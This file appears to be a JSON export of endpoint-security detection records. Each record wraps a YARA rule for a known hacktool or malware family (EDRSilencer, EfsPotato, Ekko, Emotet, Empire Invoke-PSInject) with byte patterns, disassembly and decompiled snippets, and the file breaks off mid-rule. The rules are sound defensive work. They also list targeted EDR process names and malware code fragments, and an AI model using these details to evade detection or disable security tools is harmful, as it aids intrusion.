+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576051Z",
+  "creation_date": "2026-03-23T11:46:25.576053Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576059Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/netero1010/EDRSilencer\nhttps://attack.mitre.org/techniques/T1562/004/"
+  ],
+  "name": "edrsilencer.yar",
+  "content": "rule edrsilencer {\n    meta:\n        title = \"EDRSilencer HackTool\"\n        id = \"af108d15-6cb6-44e2-9120-e2a1f69dad59\"\n        description = \"Detects EDRSilencer, a tool designed to block outbound network traffic of running EDR processes using Windows Filtering Platform (WFP) APIs.\\nEDRSilencer operates by creating WFP filters to block network communication of specific EDR processes.\"\n        references = \"https://github.com/netero1010/EDRSilencer\\nhttps://attack.mitre.org/techniques/T1562/004/\"\n        date = \"2024-01-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.004;attack.t1574\"\n        classification = \"Windows.HackTool.EDRSilencer\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 3b2de5c23a09cee3661dd8f499d43ca5275159c64bd567cfcc133aceac5b2573\n        // bb666500ada02a8d55297c8af05cc89c5e48f154327c8a318a15f5e4e40de31f\n        // 721af117726af1385c08cc6f49a801f3cf3f057d9fd26fcec2749455567888e7\n\n        $s1 = \"[-] FwpmEngineOpen0 failed with error code: 0x%x\" ascii fullword\n        $s2 = \"[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x\" ascii fullword\n        $s3 = \"Detected running EDR process: %s (%d):\" ascii fullword\n        $s4 = \"Added WFP filter for \\\"%s\\\" (Filter id: %d, IPv4 layer).\" ascii fullword\n        $s5 = \"[-] No EDR process was detected. Please double check the edrProcess list or add the filter manually using 'block' command.\" ascii fullword\n        $s6 = \"Deleted filter id: %llu.\" ascii fullword\n        $s7 = \"EDRSilencer.exe blockedr\" ascii\n\n        $f1 = \"FwpmEngineOpen0\" ascii fullword\n        $f2 = \"FwpmFilterAdd0\" ascii fullword\n        $f3 = \"FwpmFilterCreateEnumHandle0\" ascii fullword\n\n        $edr1 = \"MsMpEng.exe\" ascii fullword\n        $edr2 = \"elastic-agent.exe\" ascii fullword\n        $edr3 = \"QualysAgent.exe\" ascii fullword\n        $edr4 = \"SentinelAgent.exe\" ascii fullword\n        $edr5 = \"CylanceSvc.exe\" ascii fullword\n        $edr6 = \"CybereasonAV.exe\" ascii fullword\n        $edr7 = \"TaniumCX.exe\" ascii fullword\n        $edr8 = \"fortiedr.exe\" ascii fullword\n\n    condition:\n        4 of ($s*) or (all of ($f*) and 5 of ($edr*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "edrsilencer"
+  ],
+  "rule_creation_date": "2024-01-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EDRSilencer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.004",
+    "attack.t1574"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-efspotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586279Z",
+  "creation_date": "2026-03-23T11:46:25.586281Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586286Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/zcgonvh/EfsPotato/\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "efspotato.yar",
+  "content": "rule efspotato {\n    meta:\n        title = \"EfsPotato HackTool\"\n        id = \"8c554ccf-b6df-4edd-b451-ec90923f68c0\"\n        description = \"Detects the EfsPotato HackTool.\\nEfsPotato is a privilege escalation tool that exploits the MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privilege escalation vulnerability.\\nIt is recommended to investigate the affected process and its potential children for elevated privileges.\"\n        references = \"https://github.com/zcgonvh/EfsPotato/\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2024-02-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.EfsPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 92b3d78269edf254ffd28dded1c57ba8ac87c5241b96035de02bd08a2450db47\n\n        $s1 = \"[x] RpcStringBindingCompose failed with status 0x\" wide fullword\n        $s2 = \"[x] RpcBindingFromStringBinding failed with status 0x\" wide fullword\n        $s3 = \"[x] RpcBindingSetAuthInfo failed with status 0x\" wide fullword\n        $s4 = \"[x] RpcBindingSetOption failed with status 0x\" wide fullword\n        $s5 = \"[x] SeImpersonatePrivilege not held.\" wide fullword\n\n    condition:\n        3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "efspotato"
+  ],
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.EfsPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-ekko_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571720Z",
+  "creation_date": "2026-03-23T11:46:25.571722Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571728Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Cracked5pider/Ekko\nhttps://github.com/rad9800/misc/blob/main/bypasses/RtlRegisterWait.c\nhttps://attack.mitre.org/techniques/T1027/"
+  ],
+  "name": "ekko.yar",
+  "content": "rule ekko {\n    meta:\n        title = \"Ekko Technique\"\n        id = \"fb68eb04-32e3-4b0f-9399-19fe3fd2562b\"\n        description = \"Detects the Ekko sleep obfuscation technique.\\nThe Ekko sleep obfuscation technique uses the worker threads to encrypt the payload's own image in-memory during execution.\\nTo do so, it uses Windows API functions CreateTimerQueueTimer and RtlRegisterWait.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/Cracked5pider/Ekko\\nhttps://github.com/rad9800/misc/blob/main/bypasses/RtlRegisterWait.c\\nhttps://attack.mitre.org/techniques/T1027/\"\n        date = \"2024-03-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Generic.Ekko\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 05e382013be893344cec5dc1dda21de8e6326a8e6edb19a72726bc9eb3619b04\n        // 0040f242adf89fa2032c8f66bcfec170244d25aa9d55f8f108f39a0202442a3d\n\n        $stub_gadget_population_00 = {\n            48 89 ?? 24 ?? 06 00 00                   // mov     [rsp+38h+arg_630], rdx\n            4C 89 ?? 24 ?? 0A 00 00                   // mov     [rsp+38h+arg_A88], r8\n            48 89 ?? 24 ?? 06 00 00                   // mov     [rsp+38h+arg_5F8], rax\n            48 89 ?? 24 ?? 0A 00 00                   // mov     [rsp+38h+arg_A90], rcx\n            48 83 ?? 24 ?? 06 00 00 08                // sub     [rsp+38h+arg_5D0], 8\n            48 83 ?? 24 ?? 0A 00 00 08                // sub     [rsp+38h+arg_AA0], 8\n            4C 89 ?? 24 ?? 06 00 00                   // mov     [rsp+38h+arg_5B8], r14\n            4C 89 ?? 24 ?? 06 00 00                   // mov     [rsp+38h+arg_5C0], r13\n            48 C7 ?? 24 ?? 06 00 00 04 00 00 00       // mov     [rsp+38h+arg_5F0], 4\n            4C 89 ?? 24 ?? 0B 00 00                   // mov     [rsp+38h+arg_B00], r15\n            48 83 ?? 24 ?? 0F 00 00 08                // sub     [rsp+38h+arg_F70], 8\n        }\n\n        $stub_gadget_population_01 = {\n            4C 89 ?? 24 ?? 14 00 00                   // mov     [rsp+38h+arg_1428], r8\n            48 89 ?? 24 ?? 19 00 00                   // mov     [rsp+38h+arg_1970], rdx\n            48 83 ?? 24 ?? 14 00 00 08                // sub     [rsp+38h+arg_1440], 8\n            48 83 ?? 24 ?? 19 00 00 08                // sub     [rsp+38h+arg_1910], 8\n            48 83 ?? 24 ?? 1E 00 00 08                // sub     [rsp+38h+arg_1DE0], 8\n            48 89 ?? 24 ?? 10 00 00                   // mov     [rsp+38h+arg_FD0], rbx\n            48 C7 ?? 24 ?? 0F 00 00 FF FF FF FF       // mov     [rsp+38h+arg_F58], 0FFFFFFFFFFFFFFFFh\n            48 89 ?? 24 ?? 0F 00 00                   // mov     [rsp+38h+arg_F60], rsi\n            4C 89 ?? 24 ?? 14 00 00                   // mov     [rsp+38h+arg_14A0], r15\n            4C 89 ?? 24 ?? 19 00 00                   // mov     [rsp+38h+arg_18F8], r14\n            4C 89 ?? 24 ?? 19 00 00                   // mov     [rsp+38h+arg_1900], r13\n            48 C7 ?? 24 ?? 19 00 00 40 00 00 00       // mov     [rsp+38h+arg_1930], 40h ; '@'\n            48 89 84 24 10 1E 00 00                   // mov     [rsp+38h+arg_1DC8], rax\n        }\n\n        $stub_gadget_population_02 = {\n            48 C7 ?? E0 0E 00 00 FF FF FF FF    // mov     [rbp+21E0h+var_1300], 0FFFFFFFFFFFFFFFFh\n            8B ?? ?? 21 00 00                   // mov     eax, [rbp+21E0h+arg_0]\n            48 89 ?? E8 0E 00 00                // mov     [rbp+21E0h+var_12F8], rax\n            48 8B ?? 28 0A 00 00                // mov     rax, [rbp+21E0h+var_17B8]\n            48 83 ?? 08                         // sub     rax, 8\n            48 89 ?? 28 0A 00 00                // mov     [rbp+21E0h+var_17B8], rax\n            48 8B ?? A8 21 00 00                // mov     rax, [rbp+21E0h+var_38]\n            48 89 ?? 88 0A 00 00                // mov     [rbp+21E0h+var_1758], rax\n            ?? ?? ?? ??                         // lea     rax, [rbp+21E0h+var_2230]\n            48 89 ?? 10 0A 00 00                // mov     [rbp+21E0h+var_17D0], rax\n            ?? ?? ?? ??                         // lea     rax, [rbp+21E0h+var_2220]\n            48 89 ?? 18 0A 00 00                // mov     [rbp+21E0h+var_17C8], rax\n            48 8B ?? 58 05 00 00                // mov     rax, [rbp+21E0h+var_1C88]\n            48 83 ?? 08                         // sub     rax, 8\n        }\n\n    condition:\n        1 of ($stub*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "ekko"
+  ],
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.Ekko"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-emotet_api_hashing_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567420Z",
+  "creation_date": "2026-03-23T11:46:25.567423Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567428Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0367/\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a\nhttps://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/\nhttps://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf"
+  ],
+  "name": "emotet_api_hashing.yar",
+  "content": "rule emotet_api_hashing {\n    meta:\n        title = \"Emotet Trojan API Hashing\"\n        id = \"d127137e-715b-459c-893d-40b433e36b65\"\n        description = \"Detects API hashing techniques used by the Emotet Trojan.\\nEmotet is a sophisticated Trojan known for its banking trojan activity and various evasion techniques. This rule focuses on detecting its use of API hashing or DLL name manipulation to hide its malicious activities. The Emotet Trojan often employs these techniques to disguise its operations and avoid detection by security solutions.\\nIt is recommended to investigate the context around this alert to quarantine infected files.\"\n        references = \"https://attack.mitre.org/software/S0367/\\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a\\nhttps://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/\\nhttps://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf\"\n        date = \"2023-04-11\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0367;attack.defense_evasion;attack.t1027;attack.persistence;attack.t1543.003;attack.command_and_control;attack.t1204.001\"\n        classification = \"Windows.Trojan.Emotet\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // d1d4dacc9603a8659445398adec5e9ebdb6755e446626e14884f435ed510c42a\n        // 3cae2c5fc6ffa7b5c7cb51d150bbe8e05a56f462dc8047a27f574a4e3dd23fbe\n        // 8c1db84c9f86675e3487960e5275fdf2e690b53eff1879e2d72673463fe1055a\n        // eac5c6cd3836bed3cfee274587583fa29a629d0bb7ce3aa54a2691c69329d307\n        // 0791f0df822c5f03404d2643b49728c458a4493423b2d3359866e6643b1a1e5a\n        // 8ec69127e6c6676189caf841242091ddd3365b52d4bf91967338534cf14eb9e5\n\n        //   do\n        //   {\n        //     v6 = v2 % 32;\n        //     ++v2;\n        //     *((_BYTE *)BaseAddress + v5) = *((_BYTE *)Resource + v5) ^ aMq1TVu6dTJwlro[v6];\n        //     ++v5;\n        //   }\n        //   while ( (unsigned __int64)v2 < *(_QWORD *)Size );\n\n        $hashing_1 = {\n            48 63 C8                      // movsxd  rcx, eax\n            FF C3                         // inc     ebx\n            48 8B ?? ?? ??                // mov     rax, [rsp+328h+Resource]\n            0F B6 ?? ?? ?? ?? ?? 00       // movzx   ecx, byte ptr [rcx+rsi+54220h]\n            32 0C 02                      // xor     cl, [rdx+rax]\n            48 8B ?? ?? ??                // mov     rax, [rsp+328h+BaseAddress]\n            88 0C 02                      // mov     [rdx+rax], cl\n            48 FF ??                      // inc     rdx\n            48 63 C3                      // movsxd  rax, ebx\n            48 3B ?? ?? ??                // cmp     rax, qword ptr [rsp+328h+Size]\n        }\n\n        // for ( i = 0; (unsigned __int64)i < *(_QWORD *)Size; ++i )\n        //   *((_BYTE *)BaseAddress + i) = v8[i % 38] ^ *((_BYTE *)Resource + i);\n        // result = a2;\n        // *a2 = BaseAddress;\n        $hashing_2 = {\n            99                            // cdq\n            B9 ?? 00 00 00                // mov     ecx, 26h ; '&'\n            F7 F9                         // idiv    ecx\n            8B C2                         // mov     eax, edx\n            48 98                         // cdqe\n            48 8B ?? ?? ??                // mov     rcx, [rsp+358h+var_2F8]\n            0F B6 04 01                   // movzx   eax, byte ptr [rcx+rax]\n            8B 4C ?? ??                   // mov     ecx, [rsp+358h+var_320]\n            33 C8                         // xor     ecx, eax\n            8B C1                         // mov     eax, ecx\n            48 63 ?? ?? ??                // movsxd  rcx, [rsp+358h+var_328]\n            48 8B ?? ?? ??                // mov     rdx, [rsp+358h+BaseAddress]\n            88 04 0A                      // mov     [rdx+rcx], al\n        }\n\n        // do\n        // {\n        //   v6 = v2;\n        //   v7 = (unsigned __int64)(3926827243i64 * v2++) >> 32;\n        //   *((_BYTE *)BaseAddress + v5) = *((_BYTE *)Resource + v5) ^ aCjtxejprlwXhrg[v6\n        //                                                                            - 35\n        //                                                                            * (((unsigned int)v7 >> 31) + (v7 >> 5))];\n        //   ++v5;\n        // }\n        // while ( (unsigned __int64)v2 < *(_QWORD *)Size );\n\n        $hashing_3 = {\n            6B C2 ??                      // imul    eax, edx, 23h ; '#'\n            2B C8                         // sub     ecx, eax\n            48 8B ?? ?? ??                // mov     rax, [rsp+320h+Resource]\n            48 63 D1                      // movsxd  rdx, ecx\n            8A 8C ?? ?? ?? ?? ??          // mov     cl, [rdx+rsi+68080h]\n            ?? 32 0C ??                   // xor     cl, [r8+rax]\n            48 8B ?? ?? ??                // mov     rax, [rsp+320h+BaseAddress]\n            ?? ?? 0C ??                   // mov     [r8+rax], cl\n            49 FF C0                      // inc     r8\n        }\n\n        $exclusion_agile_dotnet_packer = \"Agile.NET runtime internal error occurred.\" ascii\n\n    condition:\n        1 of ($hashing_*) and not 1 of ($exclusion_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "emotet_api_hashing"
+  ],
+  "rule_creation_date": "2023-04-11",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Emotet"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1204.001",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-emotet_onenote_dll_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567452Z",
+  "creation_date": "2026-03-23T11:46:25.567454Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567460Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0367/\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a"
+  ],
+  "name": "emotet_onenote_dll.yar",
+  "content": "rule emotet_onenote_dll {\n    meta:\n        title = \"Emotet Injected Thread\"\n        id = \"6db9fe0d-eff3-4cb5-b9b8-9ce2f39a3a33\"\n        description = \"Detects the Emotet OneNote injected DLL delivered through .wsf files in OneNote documents and injected into regsvr.exe.\\nEmotet is a sophisticated banking trojan known for its modular architecture and ability to evade detection. Some samples arrive as a malicious OneNote document containing a .wsf file, which executes when the document is opened. The injected DLL uses specific shellcode patterns to establish persistence and communication.\\nIt is recommended investigate the context around this alert, analyze the loaded DLL or the memory region associated with this detection, and check for related processes or files linked to Emotet's activities.\"\n        references = \"https://attack.mitre.org/software/S0367/\\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0367;attack.defense_evasion;attack.t1027;attack.persistence;attack.t1543.003;attack.command_and_control;attack.t1204.001\"\n        classification = \"Windows.Trojan.Emotet\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5d65ab3b6748ba7034dc0588f2d61fa43e7fce7ed5ee6ab533e2f08274bc5d22\n\n        $register_server = \"DllRegisterServer\" ascii\n\n        $shellcode_1 = {\n            C7 45 ?? ?? ?? ?? ??          // mov     [rbp+40h+arg_10], 0C003h\n            8B 45 ??                      // mov     eax, [rbp+40h+arg_10]\n            8D 0C C0                      // lea     ecx, [rax+rax*8]\n            B8 ?? ?? ?? ??                // mov     eax, 88888889h\n            C1 E1 03                      // shl     ecx, 3\n            89 4D ??                      // mov     [rbp+40h+arg_10], ecx\n            8B 4D ??                      // mov     ecx, [rbp+40h+arg_10]\n            F7 E1                         // mul     ecx\n            C1 EA 04                      // shr     edx, 4\n            89 55 ??                      // mov     [rbp+40h+arg_10], edx\n            81 75 ?? ?? ?? ?? ??          // xor     [rbp+40h+arg_10], 2DB42AE3h\n            81 75 ?? ?? ?? ?? ??          // xor     [rbp+40h+arg_10], 17476684h\n            81 75 ?? ?? ?? ?? ??          // xor     [rbp+40h+arg_10], 3AF98305h\n        }\n\n        // hash func\n        $shellcode_2 = {\n            8B CB                         // mov     ecx, ebx\n            41 8B D0                      // mov     edx, r8d\n            D3 E2                         // shl     edx, cl\n            41 8B CB                      // mov     ecx, r11d\n            D3 E0                         // shl     eax, cl\n            03 D0                         // add     edx, eax\n            41 0F BE C1                   // movsx   eax, r9b\n            03 D0                         // add     edx, eax\n            41 2B D0                      // sub     edx, r8d\n            49 FF C2                      // inc     r10\n            44 8B C2                      // mov     r8d, edx\n        }\n\n        $sub_n_shift_1 = {\n            F7 E1                         // mul     ecx\n            2B CA                         // sub     ecx, edx\n            D1 E9                         // shr     ecx, 1\n            03 CA                         // add     ecx, edx\n            C1 E9 06                      // shr     ecx, 6\n            89 4D ??                      // mov     [rbp+arg_8], ecx\n        }\n\n        $sub_n_shift_2 = {\n            F7 E1                         // mul     ecx\n            2B CA                         // sub     ecx, edx\n            D1 E9                         // shr     ecx, 1\n            03 CA                         // add     ecx, edx\n            C1 E9 04                      // shr     ecx, 4\n            89 ?? ?? ??                   // mov     [rsp+68h+var_24], ecx\n        }\n\n        $sub_n_shift_3 = {\n            44 8B ?? ?? ??                // mov     r8d, [rsp+28h+arg_0]\n            41 F7 E0                      // mul     r8d\n            44 2B C2                      // sub     r8d, edx\n            41 D1 E8                      // shr     r8d, 1\n            44 03 C2                      // add     r8d, edx\n            41 C1 E8 05                   // shr     r8d, 5\n        }\n\n    condition:\n        $register_server and (\n            ((#sub_n_shift_1 > 50) and (#sub_n_shift_2 > 50) and (#sub_n_shift_3 > 50))\n            or all of ($shellcode_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "emotet_onenote_dll"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Emotet"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1204.001",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-empire_invoke_psinject_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567137Z",
+  "creation_date": "2026-03-23T11:46:25.567139Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567145Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/EmpireProject/Empire"
+  ],
+  "name": "empire_invoke_psinject.yar",
+  "content": "rule empire_invoke_psinject {\n    meta:\n        title = \"Empire Framework Invoke-PSInject Injected Thread\"\n        id = \"eeda42e9-d70b-426f-a044-2f29ac787f32\"\n        description = \"Detects the use of Empire's Invoke-PSInject module for PowerShell-based process injection.\\nInvoke-PSInject is a module within the Empire framework designed to inject shellcode into remote processes using PowerShell.\\nThis technique is commonly used for executing malicious commands, establishing persistence, or performing lateral movement within a compromised environment.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/EmpireProject/Empire\"\n        date = \"2020-11-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0363;attack.t1055\"\n        classification = \"Windows.Framework.Empire\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1#L1263\n        // #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)\n        $LoadLibrarySC1 = {\n            53                                  // push rbx\n            48 89 e3                            // mov rbx, rsp\n            48 83 ec 20                         // sub rsp, 0x20\n            66 83 e4 c0                         // and sp, 0xffc0\n            48 b9 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rcx, ?????????\n            48 ba ?? ?? ?? 